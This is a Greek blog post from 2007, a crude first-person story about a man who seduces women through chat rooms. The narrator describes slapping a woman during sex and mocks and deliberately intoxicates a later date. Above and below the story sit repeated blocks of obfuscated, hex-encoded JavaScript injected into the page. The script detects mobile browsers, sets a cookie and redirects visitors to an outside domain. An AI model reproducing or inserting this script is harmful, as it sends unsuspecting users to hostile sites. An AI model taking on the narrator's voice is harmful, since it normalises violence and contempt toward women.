)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

1 Ιουλίου, 2007

διαδικτυακοί έρωτες

Filed under: Uncategorized — thelastrealanwnymous @ 10 :29 πμ

τσατάρω , μιλάω , παίζω με όλες , τις θέλω όλες , φαντασιώνομαι , αυτή , αυτή , ναι αυτή με το πρόστυχο νικ που θυμίζει πόρνη. Ναι , γουστάρω τρελά , χειρουργημένη είναι , ρώγες καρφιά και μπουμπς γάντια του μποξ , σκληρά και στρογγυλά και γιγάντια . Και την άλλη ,ναι , την άλλη με το νικ βραζιλιάνας , ρίο , ρίο ντε τζανέιρο , σάμπα και κ…..λοι , ωωωω, θεε μου το τσατ, η μαγεία του τσατ , τις έχω όλες εδώ μπροστά μου… ωωωωωωωω!!!!

 Αυτά για τους τουρίστες. Τώρα εμείς εδώ θα μιλήσουμε με ανοιχτά χαρτιά και θα πούμε όλη την αλήθεια στους φίλους μας , γιατί μπορεί να την πατήσουν και μετά να μας ρίχνουν την ευθύνη. 

Καταρχάς ψάχνω ένα νικ. Και όλα τα ωραία νικ έχουν τελειώσει. Άγγελος ; όχι, Αλέξης ; ούτε, Αλέξανδρος; Καλά τώρα πλάκα μας κάνεις; Αυτά έχουν γίνει ρετζιστ από τους ίδιους τους διαχειριστές του σάιτ. Εδώ είναι ίντερνετ φίλε μου , με ένα καλό νικ  κάτι θα κάτσει , έστω κι αν είσαι ηλίθιος , κάποια θα νομίσει ότι γνώρισε τον μακεδόνα. (τον Μέγα Αλέξανδρο εννοώ) .

Βρήκα νικ : Στάθης. Καλό . Σεμνό και σοβαρό. Απευθύνεται στο μέσο όρο των γυναικών. Λοιπόν αρχίζω τις βόλτες. Αυτό το ρουμ έχει ποδόσφαιρο. Μαλακίες. Εδώ τι έχουμε ; βιβλία . Να ένα ρουμ με γυναίκες. Κάθομαι λίγη ώρα στη γωνία και περιμένω. Θέλω να δω τι παίζει. Κάποια κάνει παιχνίδι και δυο τρεις άλλες την σιγοντάρουν και οι άλλο θεατές. Μπα , δεν μ αρέσει. Άλλο ρουμ. Όνειρα. Διηγούνται κάτι γελοία δήθεν ρομαντικά όνειρα. Άλλο ρουμ . Γκειμς. Εδώ έχει πιτσιρίκια, έχει και μεγάλους , κάτι δεν πάει καλά,  τα πιτσιρίκια μπαίνουν όλη τη μέρα , ξέρουν ποιος είναι ποιος , μιλάνε και στο γουίσπερ. Πετάνε και κάτι σπόντες. Ο Στάθης αρχίζει να βαριέται.

Όπου να μπεις υπάρχουν άλλοι που ήδη γνωρίζονται , χαιρετιούνται , ρωτάνε για την φρουτόκρεμα του μωρού , γελάνε και εσύ … γκαπ.

Δεν μπορεί θα υπάρχει λύση. Πάμε σε πιο πριβέ ρουμς . Εκεί να δεις γουίσπερ. Εεεεεε!! Είναι κανείς εδώ; Ανι μποντι χίαρ? Εεεεεεε!!!!!! Στάθης ις σπικινγκ , ακούει κανείς; Θα τη βρω εγώ τη λύση , θα τη βρω έστω κι αν καεί το πισι . Μπαίνω διάφορες ώρες , μπαίνω πρωί ,μπαίνω νύχτα , μέχρι να πετύχω τις μοναχικές, αυτές που δεν έχουν φτιάξει κλίκα ακόμα. Στις τρεις το πρωί πετυχαίνω μία Τζίνα σε ένα πριβέ . Είναι στημένη και κάποιον περιμένει. Χελόου . Πες μου ότι μόλις γύρισες απ έξω και μάλλον δεν πέρασες καλά. Και εσύ που το ξέρεις. Ας πούμε ότι το ξέρω. Δε πας πουθενά αλλού λέω εγώ; Τζίνα έχω ένα πρόβλημα . Θα σε ρωτήσω κάτι. Αν θες απαντάς. Μούγκα αυτή ……… Λοιπόν πιστεύεις πως πρέπει να πω στη φίλη μου γιατί χωρίζουμε , ή να την αφήσω να το καταλάβει μόνη της , αν της κάνω κάποια σπασίματα , να βαρεθεί και να τελειώνουμε; Κάνε ότι θες. Μισό λεπτό , εντάξει σωστά , κάνε ότι θες αλλά μήπως εσύ τώρα είσαι στημένη γιατί κάποιος θέλει κάτι να σου πει ; κάτι να καταλάβεις; (…όπως ξέρετε η περιέργεια έφαγε τη γάτα). Ποιος είσαι παιδάκι μου σε ξέρω; Πες μου ποιος είσαι; Είμαι … είμαι …ας πούμε ένας φίλος. Φίλος; Σε ξέρω εγώ; Έλα τώρα Τζίνα , τι σημασία έχουν όλα αυτά;  ας μιλήσουμε , ας μιλήσουμε μέχρι να έρθει ο δικός σου. Ποιος δικός μου βρε, που τον ξέρεις εσύ τον δικό μου ; Να σου πω δεν πιστεύω να είσαι ο Πάρις; (Πάρις σκέφτομαι , τι ωραίο νικ για τσατ. Σιγά μη ξέρουν  τον Πάρη οι πιτσιρίκες σήμερα. Τι είναι η Ιλιάδα; Κουρτινόξυλα είναι; Μόνο καμία μεγάλη  που έκανε αρχαία στο σχολείο θα τσιμπήσει.)  

Τη γνώρισα την Τζίνα. Τη λένε Βάσω . Είναι από τον Πειραιά. Έδωσα το Τ Τ μου στον Κωνσταντίνο και πήρα το δικό του το κάμπριο. Οι άλλοι της οικογένειάς μου δεν μου δωσαν ούτε τζαγκι ούτε ες ελ κέι … δεν με νοιάζει. Βάσω , 22, μαυρισμένη , μάγκικες λέξεις και το «μαλάκα» υπογλώσσιο . Μιλάει στο κινητό συνέχεια. Χαϊδεύει το όχημα, στις πόρτες , στα χερούλια , στα δερμάτινα καθίσματα, ακούει Σάκη, Ανούλα και τη λαίδη  ……

Τρία πηδήγματα  , λίγα  χαστούκια, πολύ «μαλάκα» , πολύ χύμα , θες μόνο να με πηδάς , είσαι κολόπαιδο …. Εσείς το ξέρετε δεν θα χτυπούσα ποτέ γυναίκα , αλλά στο τρίτο ραντεβού το κάναμε και απαντούσε στο κινητό . τι θες ρε μαλάκα, τι θες, δεν σου λέω που είμαι , πηδιέμαι μ’ ένα ψ….ρά. της πετάω το κινητό , όσο πιο πρόστυχη μου φαίνεται τόσο πιο πολύ φτιάχνομαι , τέλος , τέλος, τελείωωωωωνω στο πρόσωπο της , την πιάνω στα χαστούκια ….

Γνώρισα κι άλλες….

Η πιο ρομαντική είναι η Μόνικα. Νικ για φαντασιώσεις. Μιλάμε στο τσατ , μέρα νύχτα , πρωί , απόγευμα. Ποίηση . Όλα είναι εδώ. Η ποίηση είναι «όλα».  

Ελύτης , Έμιλυ Ντίκινσον, Μαγιακόφσκι. Πήγα και αγόρασα βιβλία του Μαγιακόφσκι. Τα κατέβασαν από σκονισμένα ράφια και με παραδέχτηκαν που διαβάζω ποίηση. Μόνικα , θα κάνω τα πάντα για σένα , Μόνικα , θέλω μόνο να σε γνωρίσω , να σε αγγίξω , να μου ψιθυρίσεις στο αυτί …

………άφησα την καρδιά μου χάμω σαν το κοχύλι μες την άμμο……..

σήμερα ; όχι,

αύριο; όχι,

πότε θα σε δω; γιατί να βρεθούμε, δεν περνάμε καλά στο τσατ;

Γαμώτο , γαμώτο ,γαμώτο, δεν πρέπει να δείχνω ανυπόμονος.

…….περάσαν όλες οι κοπέλες………

 αααα δεν θα χάσω το καλοκαίρι μου μόνο με  ποίηση. Αρχίζω  τα σπασίματα. Να είμαι κουρασμένος. Να κλείσουμε και να τα πούμε αύριο; Και αύριο δεν μπαίνω καθόλου τσατ. Που είσαι; Ήσουν εδώ χτες; Χτες ; δεν θυμάμαι. Μπήκα κάποια στιγμή και βαρέθηκα και βγήκα.

Παγώνω το παιχνίδι μέχρι να το φέρω στα μέτρα μου.

Τελικά με τα πολλά δέχεται. Διαλέγω όχημα στο σπίτι , δεν δέχομαι κουβέντα από κανένα . Κλείνω τραπέζι στο Άιλαντ . Βάζω τον Κωνσταντίνο να πίνει ποτά στο μπαρ και να είναι σε ετοιμότητα μήπως κάτι πάει στραβά. Παραβαίνω όλες τις αρχές μου . Είμαι ενθουσιασμένος , πετάω από τη χαρά μου , έχω έναν αέρα νίκης , ξαναπήγα σολάριουμ, κούρεμα δεύτερη φορά στην ίδια βδομάδα, δοκιμάζω διάφορα ο ντε τουαλετ μέχρι να βρω τι ταιριάζει , κάνω και την τελική εξυπνάδα να πάω 10 λεπτά νωρίτερα και να περιμένω στο τραπέζι με το Μονόγραμμα του «Οδυσσέα του ταξιδευτή» ( ..του Ελύτη εννοούσα) δίπλα μου. Το βιβλίο είναι τυλιγμένο με κόκκινη κορδέλα .

Αυτό είναι το παρασύνθημα.

Η ώρα είναι παρά πέντε. Αρχίζω να κλωτσάω την καρέκλα της κάτω από το τραπέζι. Παρά τέσσερα. Δίνω γονατιές στα πόδια του τραπεζιού . Παρά τρία. Είμαι έτοιμος να παίξω ντραμς με τα κουταλοπίρουνα. Παρά δύο. Κοιτάζω προς την πόρτα με αγωνία. Παρά ένα . Ισιώνω το πιάτο μου και τα σερβίτσια. Ζίροου. Όποια τολμάει να με στήσει παίζει το κεφάλι της κορώνα γράμματα. Και ένα. Είμαι ένα λεπτό στημένος. Ισιώνω και το δικό της πιάτο και το κουβέρ. Και δύο . Ρίχνω ένα βλέμμα στον Κωνσταντίνο που μου σκάει ειρωνικό χαμόγελο. Ξανακοιτάζω στην πόρτα. Μετά πάλι τον Κωνσταντίνο. Μετά πάλι στην πόρτα. Δεν δίνω καθόλου σημασία σε μια παχουλή , ηλιοκαμένη , με εφαρμοστό φόρεμα , τα κρέατά της ασφυκτιούν κάτω από το ύφασμα και είναι έτοιμα να εκραγούν. Φοράει γόβες , όχι πολύ ψηλές, έχει μαλλί κοντό , από κομμωτήριο, εντελώς λάχανο. Ρίχνει μία ματιά πέριξ και βλέπει το μονόγραμμα. Καρφώνεται στο βιβλίο και μετά με κοιτάζει χαμογελώντας.

Δεν της δίνω σημασία. Μόνο που σταματάω τα σπαστικά γιατί με απορροφά το ενδιαφέρον της. Ποια είναι αυτή τώρα; Την ξέρω; Με πλησιάζει , Στάθη μου λέει , δεν ξε’΄ρω κανένα Στάθη σκέφτομαι , απλώνει το χέρι της , Στάθη είμαι η Μόνικα . Μάλλον δεν ακούω καλά. Ρίχνω μια ματιά στον κολλητό μου αναζητώντας βοήθεια γιατί εδώ και λίγα δευτερόλεπτα έχω χάσει επαφή με το περιβάλλον και τον βλέπω να έχει παγώσει κι αυτός. Στάθη μου ξαναλέει εκείνη λίγο πριν ξεσπάσει σε κλάματα. Τι θέλει αυτή χοντρή ρε παιδιά ; Γιατί με λέει Στάθη; Ποιος που μου μοιάζει μπορεί να πηδάει μια τέτοια; Απλώνω το χέρι μου , το σκατόχερό μου που έγραφε Μόνικα στο πληκτολόγιο και φτιαχνόμουν , Μόνικα , Μόνικα , μου δίνει το χέρι της και μου λέει είμαι η Μόνικα . Δεν σηκώνομαι από τη θέση μου. Δεν ανοίγω ακόμα το στόμα μου. Την αφήνω να καθίσει απέναντί μου , μέχρι να αποφασίσω τι θα κάνω. Ο Κωνσταντίνος κρύβεται , κοιτάζει δήθεν κάπου αλλού  και εγώ… εγώ …. ???

Οκ , τι να γίνει , θα παίξουμε με τους καινούριους όρους. Λοιπόν να παραγγείλλουμε γιατί πεινάω σαν λύκος; Μα ναι φυσικά και εκείνη πεινάει. Κρύβομαι πίσω από τον κατάλογο και δεν ξε΄ρω τι να σκεφτώ. Να την κάνω? Να τη ρωτήσω μήπως μου κανουν καμία φάρσα, να κοιτάξω γύρω μου μήπως υπάρχει καμία κάμερα και η αυθεντική Μόνικα θα εμφανιστεί σε λίγο να μου πει: σμάαααιλ …!!  

Εγώ γαρίδες θα ‘παιρνα …έτσι κοιτάζω τον κατάλογο από αμηχανία,  εκείνη; Εκείνη σκέφτεται αστακομακαρονάδα . Ναι είναι πολύ καλή θα σου αρέσει.  Τι κρασί; Να πάρουμε ένα λευκό  παγωμένο να πάνε τα φαρμάκια κάτω; Κανονικά πρέπει να έχεις έτοιμα σενάρια στο μυαλό σου για καταστάσεις πανικού. Πρέπει να ξέρεις να διαχειρίζεσαι κρίσεις.

Νομίζω πως αποφάσισα. Θα παίξω το ρόλο του Γκαβάιν του ιππότη του Αρθούρου που παντρεύεται την άσχημη μάγισσα για να σώσει το βασιλιά. Μόνο που εδώ δεν είναι παραμύθι. Αυτό το «ελεφαντάκι» έτσι χοντρούλικο και ζουμπουρλούδικο θα είναι και τη μέρα και τη νύχτα και τα επόμενα χρόνια. Ούτε θα φύγουν τα μάγια αν τη φιλήσω , ούτε αν την πηδήξω. 

Πως την πάτησα έτσι εγώ; Πως περνάει ή ώρα τώρα μέχρι να φύγουμε; Σε  βλέπω κάπως συγκρατημένο, σαν να μη χάρηκες που με είδες. Μα τι λες τώρα , εγώ; Απλώς έτσι είναι ο χαρακτήρας μου , είμαι διαφορετικός στην πραγματικότητα από ότι στο ίντερνετ. Έρχεσαι συχνά εδώ; (…δεν θα σου πω , δεν θα σου πω …) έχω έρθει δυό τρείς φορές, έχουν καλό φαγητό και ωραία μουσική. Ελπίζω να μη καθυστερήσουν πολύ τα φαγητά. ….Και τότε αγαπημένοι φίλοι έχω μία φοβερή έμπνευση. Για να μη σπασαρχδσω με τις ερωτήσεις της , προτείνω να μου απαγγείλει ποίηση από το «μονόγραμμα». Της δίνω το βιβλίο και περιμένω. Το ανοίγει , ρίχνει μια ματιά , της έχω γράψει μια φοβερή αφιέρωση , την διαβάζει συγκινημένη και το κλείνει. Μπορώ να σου απαγγείλω όλα τα ποιήματα απ’ έξω μου λέει. Σκέφτομαι να κρατάω το βιβλίο για να τεστάρω τις γνώσεις της , αλλά δεν το αφήνει από τα χέρια της. 

Και αρχίζει να μου λέει κατεβατά Ελύτη με μια τρεμάμενη , βραχνή φωνούλα , ενώ συγχρόνως μου εξηγεί

Πως διάβασε και πως έμαθε το κάθε ποίημα  και τι συμβολίζει για  ‘κείνη.  Ας κάνω ότι ακούω , μέχρι να σερβιριστούμε. Ρίχνω κανένα πλάγιο μάτι στον φίλο μου , που έχει χάσει κάθε ενδιαφέρον για το τραπέζι μου και περιεργάζεται τα θηλυκά γύρω του μήπως καταφέρει να σώσει τη δική του βραδιά.

Έρχεται το φαγητό.

Τώρα θα μπω σε πολύ προσωπικά θέματα και απαιτώ την προσοχή σας. Έχω ένα βίτσιο. Αν βγω για φαγητό με γυναίκα θέλω πρώτον να μη είναι λαίμαργη και κυρίως να μη τελειώσει το πιάτο της πριν από μένα. Και δεύτερον κάπου -κάπου να με «ταϊζει» έστω και αν εγώ αρνούμαι ευγενικά. Αυτά. Κοιτάξτε τι έγινε: όχι μόνο τελείωσε πρώτη αλλά την τάισα και από τις γαρίδες μου και παρότι αρνήθηκε , κατάφερα να δείξω έστω και έτσι κάποιο ας πούμε ενδιαφέρον. Τι ιππότης είμαι άλλωστε.

Και τώρα προχωράμε στο σχέδιο 2 .

Θα την ποτίσω αρκετό κρασί ώστε να την ξεφορτωθώ πιο εύκολα. Και τι ωραίο παγωμένο κρασί , και ας κάνουμε ένα άσπρο πάτο και ακόμη ένα , και να πάρουμε άλλο  ένα μπουκάλι και θέλω να ακούσω τον ήχο των ποτηριών μας «να φιλιούνται» και … νομίζω πως τα κατάφερα. Ανοίγεται. Αρχίζει να μου λέει την ιστορία της ζωής της. Είναι 33 χρονών και δεν το κρύβει. Η οικογένειά της ξεκίνησε από ένα ζαχαροπλαστείο και τώρα έχει αλυσίδα γλυκών πειρασμών σε όλα την Αθήνα. Μένει ακόμα με τους δικούς της. Μιλάει τρεις γλώσσες, και γράφει καθημερινά ποίηση . Της αρέσει να διορθώνει ξανά και ξανά τα ποιήματά της όπως ο Καβάφης. Δεν πιστεύει στο γάμο αλλά στον αληθινό έρωτα. Ο έρωτας είναι ένα μυστικό που όλοι το κρύβουν μέσα τους. Μόνο αν βρεθεί το κατάλληλο πρόσωπο μπορεί να ξεσφραγίσει το μυστικό μας. Η ζωή χωρίς έρωτα είναι ένα φρικτό σκοτάδι. Το πρώτο βήμα για να ανακαλύψεις τον έρωτα είναι να απαρνηθείς τον εαυτό σου. (ξέρω , ξέρω να απαρνηθείς τον εαυτό σου και να το κάνεις μ’ ένα μπαούλο)

 Σκέφτομαι να πηγαίνουμε γιατί έχω πολύ δουλειά αύριο. Να πάω μια στιγμή να τακτοποιήσω το λογαριασμό και έρχομαι. Πληρώνω αφήνω και τα ρέστα και προσπαθώ να φύγω το γρηγορότερο. «Τρέχουμε τώρα τρέχουμε είπα.»  Γυρίζω στο τραπέζι για να αντιμετωπίσω την παράνοια να απαγγέλλει μονόγραμμα και να έχουν σταματήσει και να την κοιτάζουν όλοι. Κάποιοι  είναι σίγουροι πως είναι ατραξιόν του μαγαζιού. Μπορούμε να πηγαίνουμε , λέω όσο πιο γλυκά μπορώ. Έλα που δεν σηκώνεται από τη θέση της. Μόνικα , είμαι κουρασμένος . Κουρασμένος ; ρωτάει  και αρχίζει άλλο ποίημα. Αρπάζω το βιβλίο από τα χέρια της και κάνω “διάλογο”, λέει δύο στίχους και συνεχίζω τους επόμενους …. Έλα θα πούμε κι άλλα στο αυτοκίνητο. Τη τζάγκι πήρα σήμερα. Δεν θέλω να φύγουμε γουργουρίζει. Πρέπει μωρό μου , πρέπει γιατί αύριο είναι μια δύσκολη μέρα. Την παρατάω και βγαίνω να βρω τον παρκαδόρο να μου φέρει το όχημα. Ξαναγυρίζω και είναι στη θέση της . Κωνσταντίνε βοήθεια , του κάνω νόημα να με βοηθήσει. Τη σηκώνουμε απαλά. Έλα τώρα και θα πάμε μια ρομαντική βολτίτσα…… Φθάνουμε στο αμάξι. Την βάζουμε μέσα.  Συνεχίζει να απαγγέλλει . είσαι κακός , μου λέει δεν μ’ αγαπάς , το κατάλαβα από την πρώτη στιγμή που σε είδα. Είσαι διπρόσωπος . στο τσατ είσαι πολύ διαφορετικός. Πίστεψα πως θα είσαι το πιο τρυφερό αγόρι που υπάρχει στη γη.

«περάσαν όλες οι κοπέλες με τα μαγιό και τις ομπρέλες»……….

Προσπάθησε να μου ξεκουμπώσει το παντελόνι. Με ικέτεψε για μια πίπα  στο αυτοκίνητο. Ξέρεις πόσο θέλω να είμαι μαζί σου λέω. Θα μιλήσουμε πάλι στο τσατ , θα βγούμε ξανά .  Έφθασα σπίτι της. Άνοιξα το διαμέρισμα σιγά και την πήγα στο σαλόνι. Την ξάπλωσα αναπαυτικά στην πολυθρόνα ……..

«Έπεσα για να κολυμπήσω κι άφησα την καρδιά μου πίσω»

είμαι ο Στάθης . Stathis” : male , 28 , 178, sexi , black eyes , fit,  tennis , cars, trips and clubs . Kifissias is home , poseidonos is my street. akaras1979@yahoo.grvar _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»]